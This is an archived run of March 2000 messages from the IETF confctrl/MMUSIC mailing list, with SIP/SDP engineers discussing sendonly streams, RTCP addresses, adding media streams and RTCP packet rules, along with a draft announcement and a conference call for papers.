CC: archow@hss.hns.com, confctrl@ISI.EDU, sip@lists.research.bell-labs.com,
        Miguel Angel <Miguel.A.Garcia@lmf.ericsson.se>
Subject: Re: Sendonly in SDP
References: <38C5307E.6DE767D4@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Also about appendix B. If we want to put the other party on hold we will
set the "c" line to zero.

Shouldn't we add "a=recvonly" to indicate that we are not going to send
any packets either?

Thanks,

Gonzalo

jdrosen@dynamicsoft.com wrote:
> 
> archow@hss.hns.com wrote:
> >
> > * For send-only streams, the address and port number have no significance
> > and SHOULD be set to zero.*
> 
> This is true now, but we have just recently realized this is not
> correct. The reason is RTCP - the SDP needs to convey the address where
> the recipient can send RTCP to. As a result, I think we do need to
> include an IP address and port. I think the port should be an even one
> (indicating where RTP would be received on, even though no RTP will ever
> be received), for consistency. RTCP would be sent to the port one
> higher.
> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       200 Executive Drive
> Chief Scientist                             Suite 120
> dynamicsoft                                 West Orange, NJ 07052
> jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
> http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
> http://www.dynamicsoft.com

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Mar  7 08:49:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA11366
	for confctrl-outgoing; Tue, 7 Mar 2000 08:49:04 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11361
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 08:49:03 -0800 (PST)
Received: from reddot.dynamicsoft.com (reddot.dynamicsoft.com [216.89.83.6])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15748
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 08:49:08 -0800 (PST)
Received: from dynamicsoft.com ([216.89.83.2])
	by reddot.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA23922;
	Tue, 7 Mar 2000 11:45:08 -0500 (EST)
Message-ID: <38C53360.68C06E8D@dynamicsoft.com>
Date: Tue, 07 Mar 2000 11:50:40 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        sip@lists.research.bell-labs.com, confctrl@ISI.EDU,
        Peter.Peldan@ellemtel.se
Subject: Re: Mapping media streams
References: <38C4F349.E694991D@hplb.hpl.hp.com> <38C50FCB.89DBD8A3@lmf.ericsson.se> <38C515FF.BF96F211@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anders Kristensen wrote:
> 
> I still think using explicit (and opaque) identifiers for media streams
> in SDP (or whatever session description language is used) is preferable
> as it's cleaner and simpler and probably less error prone than
> rearranging and matching SDP m= lines.

No doubt. The problem is backwards compatibility...

> >
> > What about if the callee wants to add a media stream to the session?
> > The callee might want to send a new m line in the 200 OK. Should this be
> > allowed?
> 
> I don't think anything in rfc 2543 disallows it, but I wouldn't have
> thought many UAs would handle it the way you'd want it to. Ours
> certainly wouldn't.  The callee could accept the call and then try a
> re-INVITE, though.

The spec doesn't detail adding and removing of media streams. The basic
mechanism is there, though:

1. to add a stream, add an additional m line at the bottom in a
re-INVITE. 
2. to remove a stream, set its port to zero in a re-INVITE

(2) is consistent with how a UAS rejects a stream offered by a UAC. We
should be sure to add these to the next revision.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Tue Mar  7 14:34:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27999
	for confctrl-outgoing; Tue, 7 Mar 2000 14:34:30 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27991
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 14:34:24 -0800 (PST)
Received: from dfssl.exchange.microsoft.com ([131.107.88.59])
	by gamma.isi.edu (8.8.7/8.8.6) with SMTP id OAA00008
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 14:34:29 -0800 (PST)
Received: from 127.0.0.1 by dfssl.exchange.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 07 Mar 2000 14:30:57 -0800 (Pacific Standard Time)
Received: by dfssl with Internet Mail Service (5.5.2650.21)
	id <GP8Q31QF>; Tue, 7 Mar 2000 14:30:56 -0800
Message-ID: <726A4C58DBA56E409F3D3563A8BF953C09ED30@airstream-corp.platinum.corp.microsoft.com>
From: Peter Ford <peterf@Exchange.Microsoft.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>, archow@hss.hns.com
Cc: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic
	 <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
Subject: RE: Sendonly in SDP
Date: Tue, 7 Mar 2000 14:05:08 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


how about a host name and a port? or a URI? ....

cheers, peterf


-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: Tuesday, March 07, 2000 8:38 AM
To: archow@hss.hns.com
Cc: Gonzalo Camarillo; mmusic; sip
Subject: Re: Sendonly in SDP




archow@hss.hns.com wrote:
> 
> * For send-only streams, the address and port number have no significance
> and SHOULD be set to zero.*

This is true now, but we have just recently realized this is not
correct. The reason is RTCP - the SDP needs to convey the address where
the recipient can send RTCP to. As a result, I think we do need to
include an IP address and port. I think the port should be an even one
(indicating where RTP would be received on, even though no RTP will ever
be received), for consistency. RTCP would be sent to the port one
higher.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Tue Mar  7 15:06:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA29706
	for confctrl-outgoing; Tue, 7 Mar 2000 15:06:03 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA29701
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 15:06:02 -0800 (PST)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id PAA06781
	for <confctrl@isi.edu>; Tue, 7 Mar 2000 15:06:08 -0800 (PST)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id PAA16630
	for <confctrl@isi.edu>; Tue, 7 Mar 2000 15:05:33 -0800 (PST)
Message-Id: <4.3.1.20000307144538.00b3b640@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3
Date: Tue, 07 Mar 2000 15:02:22 -0800
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: New Internet-Draft on the "directory" SDP media type
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As long promised, I have now submitted a new Internet-Draft that describes 
the experimental "directory" SDP media type that has been deployed on the 
MBone (in recent versions of SDP browser tools, including "sdr" and 
"multikit") for several months.

Until this shows up in the IETF directory, you can access this as 
<http://www.live.com/draft-ietf-mmusic-sdp-directory-type-00.txt>

I plan to talk about this briefly in the MMUSIC session in Adelaide.  I 
hope to see some concensus emerging from this working group as to the 
future plans - if any - for this work (given, for example, that "directory" 
SDP sessions have had little use on the MBone so far).

         Ross.



From confctrl-owner  Tue Mar  7 21:09:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA18961
	for confctrl-outgoing; Tue, 7 Mar 2000 21:09:32 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18956
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 21:09:31 -0800 (PST)
Received: from reddot.dynamicsoft.com (reddot.dynamicsoft.com [216.89.83.6])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id VAA01834
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 21:09:36 -0800 (PST)
Received: from dynamicsoft.com (1Cust36.tnt1.freehold.nj.da.uu.net [63.17.113.36])
	by reddot.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA25980;
	Wed, 8 Mar 2000 00:09:42 -0500 (EST)
Message-ID: <38C5E1E4.D840153E@dynamicsoft.com>
Date: Wed, 08 Mar 2000 00:15:16 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Ford <peterf@Exchange.Microsoft.com>
CC: archow@hss.hns.com, Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
Subject: Re: Sendonly in SDP
References: <726A4C58DBA56E409F3D3563A8BF953C09ED30@airstream-corp.platinum.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Peter Ford wrote:
> 
> how about a host name and a port? or a URI? ....

SDP does allow a host name to appear in the c line for the address,
although I haven't seen that done much, and I'm not sure how useful it
is. This address needs to be the address of the machine receiving the
media. For many users today, these machines are dial-up or on internal
networks and often have no host name entries in DNS.

As for a URI, SDP simply doesn't allow it. I'm not sure what it would
mean for the media destination to be a URI.

Gonzalo wrote:
> Also about appendix B. If we want to put the other party on hold we will
> set the "c" line to zero.
> 
> Shouldn't we add "a=recvonly" to indicate that we are not going to send
> any packets either?
> 

Doesn't much matter, I guess. The semantic is derived from the port
number.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Wed Mar  8 04:49:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA05312
	for confctrl-outgoing; Wed, 8 Mar 2000 04:49:43 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05307
	for <confctrl@zephyr.isi.edu>; Wed, 8 Mar 2000 04:49:42 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19660
	for <confctrl@isi.edu>; Wed, 8 Mar 2000 04:49:47 -0800 (PST)
Received: from NSYRACUS ([10.27.5.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24016;
	Wed, 8 Mar 2000 07:49:39 -0500 (EST)
Date: Wed, 8 Mar 2000 07:52:09 -0500 (Eastern Standard Time)
From: Natalia Syracuse <nsyracus@ietf.org>
To: Rajesh Kumar <rkumar@cisco.com>
cc: "Rosen, Brian" <brosen@fore.com>, internet-drafts@ietf.org,
        bfoster@cisco.com, confctrl@ISI.EDU, rlang@sri.com,
        schooler@cs.caltech.edu, mjh@aciri.org, jo@tzi.uni-bremen.de,
        sob@harvard.edu, vern@aciri.org
Subject: Re: IETF draft submission
In-Reply-To: <4.1.20000307191004.00ad4ba0@wanbu-mail.cisco.com>
Message-ID: <Pine.WNT.4.20.0003080751450.-963335@nsyracus.cnri.reston.va.us>
X-X-Sender: nsyracus@odin.ietf.org
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Your draft will be announced tomorrow (Mar,9th).

Natalia Syracuse

On Tue, 7 Mar 2000, Rajesh Kumar wrote:

> Natalie,
> With help from Bill Foster/Cisco and Brian Rosen/Fore Systems, I have been
> able to convert the file into TEXT format. It is attached.
> 
> It is meant for submission to the MMUSIC group and the MMUSIC chair before
> the March 10 cutoff.
> 
> Please look the file over and let me know if it meets the IETF submission
> requirements. I'll fix it as needed.


From confctrl-owner  Wed Mar  8 06:54:56 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11511
	for confctrl-outgoing; Wed, 8 Mar 2000 06:54:56 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11505
	for <confctrl@zephyr.isi.edu>; Wed, 8 Mar 2000 06:54:54 -0800 (PST)
Received: from tid.es (tidos.tid.es [193.145.240.2])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03525
	for <confctrl@ISI.EDU>; Wed, 8 Mar 2000 06:54:41 -0800 (PST)
Received: from tid.es ([172.17.1.12])
	by tid.es (8.9.3/8.9.1) with ESMTP id PAA20502;
	Wed, 8 Mar 2000 15:45:31 +0100 (MET)
Posted-Date: Wed, 8 Mar 2000 15:45:31 +0100 (MET)
Message-ID: <38C66851.D281EEAC@tid.es>
Date: Wed, 08 Mar 2000 15:48:49 +0100
From: Sonia Gomez Garcia <sgg@tid.es>
Organization: Telefonica I+D
X-Mailer: Mozilla 4.5 [es] (Win98; I)
X-Accept-Language: en,es-ES
MIME-Version: 1.0
To: Natalia Syracuse <nsyracus@ietf.org>
CC: Rajesh Kumar <rkumar@cisco.com>, "Rosen, Brian" <brosen@fore.com>,
        internet-drafts@ietf.org, bfoster@cisco.com, confctrl@ISI.EDU,
        rlang@sri.com, schooler@cs.caltech.edu, mjh@aciri.org,
        jo@tzi.uni-bremen.de, sob@harvard.edu, vern@aciri.org
Subject: Re: IETF draft submission
References: <Pine.WNT.4.20.0003080751450.-963335@nsyracus.cnri.reston.va.us>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

What is the draft about?

Natalia Syracuse escribió:

> Your draft will be announced tomorrow (Mar,9th).
>
> Natalia Syracuse
>
> On Tue, 7 Mar 2000, Rajesh Kumar wrote:
>
> > Natalie,
> > With help from Bill Foster/Cisco and Brian Rosen/Fore Systems, I have been
> > able to convert the file into TEXT format. It is attached.
> >
> > It is meant for submission to the MMUSIC group and the MMUSIC chair before
> > the March 10 cutoff.
> >
> > Please look the file over and let me know if it meets the IETF submission
> > requirements. I'll fix it as needed.


From confctrl-owner  Wed Mar  8 18:01:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA18570
	for confctrl-outgoing; Wed, 8 Mar 2000 18:01:47 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA18565
	for <confctrl@zephyr.isi.edu>; Wed, 8 Mar 2000 18:01:46 -0800 (PST)
Received: from leonis.nus.edu.sg (leonis.nus.edu.sg [137.132.1.18])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id SAA19791;
	Wed, 8 Mar 2000 18:01:50 -0800 (PST)
Received: from engtanlk.nus.edu.sg ([137.132.204.243])
	by leonis.nus.edu.sg (8.9.3/8.9.3) with SMTP id JAA07624;
	Thu, 9 Mar 2000 09:38:28 +0800 (SST)
Message-ID: <001701bf8968$8f925800$f3cc8489@engtanlk.nus.edu.sg>
From: "ICON'2000 Secretariat" <icon@comp.nus.edu.sg>
To: <Undisclosed.Recipients@leonis.nus.edu.sg>
Subject: 7 days to go ! Have you submitted your paper.
Date: Thu, 9 Mar 2000 09:38:28 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0014_01BF89AB.9DB59800"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0014_01BF89AB.9DB59800
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear All=20
=20
* Kindly ignore this email if you have received this before.=20
Thanks you for your kind attention.
=20
The 8th IEEE International Conference On Networks will be held from=20

September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20

an international forum for experts to promote, share and discuss various =


issues and developments in the broad field of computer and communication =


networks. We thus seek and solicit your contributions

in the form of original/unpublished papers, tutorials, and topics for=20

special sessions/panel discussions. More information on the scope of the =


conference and the guidelines for the submission of contributions can

be obtained at this web site :http://www.comp.nus.edu.sg/~icon/



We look forward to your participation. Thank you.

Icon 2000 organizing Committee


------=_NextPart_000_0014_01BF89AB.9DB59800
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>
<DIV><FONT color=3D#000000 size=3D2>Dear All </FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial =
size=3D2><STRONG>*=20
Kindly ignore this email if you have received this before.=20
</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial=20
size=3D2><STRONG>Thanks you for your kind =
attention.</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT size=3D2><FONT size=3D2><FONT =
size=3D2><FONT=20
size=3D2>
<P>The 8th IEEE International Conference On Networks will be held from =
</P>
<P>September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20
</P>
<P>an international forum for experts to promote, share and discuss =
various </P>
<P>issues and developments in the broad field of computer and =
communication </P>
<P>networks. We thus seek and solicit your contributions</P>
<P>in the form of original/unpublished papers, tutorials, and topics for =
</P>
<P>special sessions/panel discussions. More information on the scope of =
the </P>
<P>conference and the guidelines for the submission of contributions =
can</P>
<P>be obtained at this web site :http://www.comp.nus.edu.sg/~icon/</P>
<P>&nbsp;</P>
<P>We look forward to your participation. Thank you.</P>
<P>Icon 2000 organizing=20
Committee</P></FONT></FONT></FONT></FONT></FONT></DIV></FONT></DIV></BODY=
></HTML>

------=_NextPart_000_0014_01BF89AB.9DB59800--


From confctrl-owner  Thu Mar  9 03:30:25 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA11269
	for confctrl-outgoing; Thu, 9 Mar 2000 03:30:25 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA11264
	for <confctrl@zephyr.isi.edu>; Thu, 9 Mar 2000 03:30:23 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id DAA06811
	for <confctrl@isi.edu>; Thu, 9 Mar 2000 03:30:29 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25480;
	Thu, 9 Mar 2000 06:30:28 -0500 (EST)
Message-Id: <200003091130.GAA25480@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-directory-type-00.txt
Date: Thu, 09 Mar 2000 06:30:27 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The 'directory' SDP media type
	Author(s)	: R. Finlayson
	Filename	: draft-ietf-mmusic-sdp-directory-type-00.txt
	Pages		: 4
	Date		: 08-Mar-00
	
A directory containing a set of media sessions - each described using
the Session Description Protocol (SDP) [1] - can itself be treated as
a media session, with its own SDP description.  This document
describes the 'directory' SDP media type, for use in describing
session directories using SDP.  By allowing SDP directories to be
announced as sessions within other SDP directories, this media type
increases the flexibility and scalability of SDP directories.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-directory-type-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-directory-type-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000308141543.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-directory-type-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000308141543.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Mar 10 07:32:29 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22834
	for confctrl-outgoing; Fri, 10 Mar 2000 07:32:29 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22829
	for <confctrl@zephyr.isi.edu>; Fri, 10 Mar 2000 07:32:28 -0800 (PST)
Received: from web3902.mail.yahoo.com (web3902.mail.yahoo.com [204.71.203.198])
	by gamma.isi.edu (8.8.7/8.8.6) with SMTP id HAA15535
	for <confctrl@ISI.EDU>; Fri, 10 Mar 2000 07:32:35 -0800 (PST)
Message-ID: <20000310153205.8393.qmail@web3902.mail.yahoo.com>
Received: from [203.197.163.36] by web3902.mail.yahoo.com; Fri, 10 Mar 2000 07:32:05 PST
Date: Fri, 10 Mar 2000 07:32:05 -0800 (PST)
From: singh pramod <pramod_satish@yahoo.com>
Subject: Re: RTP/RTCP and Q.931 implementation
To: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
Cc: J.H.deMuijnck@research.kpn.com, confctrl@ISI.EDU, rem-conf@es.net
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
    please let me know, 
1. in a compound RTCP packet, When I sending SR &  
   RR,      is it necessary to send SSRC message  
   repeatedly? 

2. SDES packet shoud also be included in that?

3. can we decide the transmission interval ourself, 
   when only two participants are there?


thanks and regards

pramod singh

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From confctrl-owner  Fri Mar 10 08:40:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26979
	for confctrl-outgoing; Fri, 10 Mar 2000 08:40:20 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26972
	for <confctrl@zephyr.isi.edu>; Fri, 10 Mar 2000 08:40:18 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by gamma.isi.edu (8.8.7/8.8.6) with SMTP id IAA27424
	for <confctrl@ISI.EDU>; Fri, 10 Mar 2000 08:40:25 -0800 (PST)
Received: from scary.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.13338-0@bells.cs.ucl.ac.uk>; Fri, 10 Mar 2000 16:40:14 +0000
From: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 (0)20 7679 3704
To: singh pramod <pramod_satish@yahoo.com>
cc: Orion Hodson <O.Hodson@cs.ucl.ac.uk>, J.H.deMuijnck@research.kpn.com,
        confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: RTP/RTCP and Q.931 implementation
In-reply-to: Your message of "Fri, 10 Mar 2000 07:32:05 PST." <20000310153205.8393.qmail@web3902.mail.yahoo.com>
Date: Fri, 10 Mar 2000 16:40:12 +0000
Message-ID: <495.952706412@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<20000310153205.8393.qmail@web3902.mail.yahoo.com>singh pramod writes:
> Hi,
> please let me know, 
> 1. in a compound RTCP packet, When I sending SR &  
> RR,      is it necessary to send SSRC message  
> repeatedly? 

Yes.

> 2. SDES packet shoud also be included in that?

Each compound RTCP packet MUST include the CNAME.  The other SDES
entries are optional - they may depend on available bandwidth or
application constraints/relevance.

> 3. can we decide the transmission interval ourself,
> when only two participants are there?

You've probably read the guidelines in rfc1889.txt and the latest
proposed revision draft-ietf-avt-rtp-new-06.txt.  The question is
whether your application needs to comply with the standard.  If you
are conducting a piece research where you believe it will be useful to
transmit at a higher rate then by all means do so (I'm sure there
would be plenty of parties interested in the pro's and con's).  If you
are writing a piece of software for redistribution and interoperation
then you should aim to comply with the standard.

Kind Regards
- Orion

BTW, pls try to keep RTP/RTCP related questions to the appropriate
forum, i.e. rem-conf@es.net.

From confctrl-owner  Fri Mar 10 12:12:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA09049
	for confctrl-outgoing; Fri, 10 Mar 2000 12:12:07 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA09044
	for <confctrl@zephyr.isi.edu>; Fri, 10 Mar 2000 12:12:05 -0800 (PST)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15758
	for <confctrl@ISI.EDU>; Fri, 10 Mar 2000 12:12:12 -0800 (PST)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id OAA06343; Fri, 10 Mar 2000 14:12:04 -0600 (CST)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 8625689E.006F19F8 ; Fri, 10 Mar 2000 14:13:31 -0600
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Burcak Beser" <Burcak_Beser@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <8625689E.006F15C7.00@mwgate02.mw.3com.com>
Date: Fri, 10 Mar 2000 14:14:03 -0600
Subject: [submitted] draft-beser-mmusic-capabilities-00.txt
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
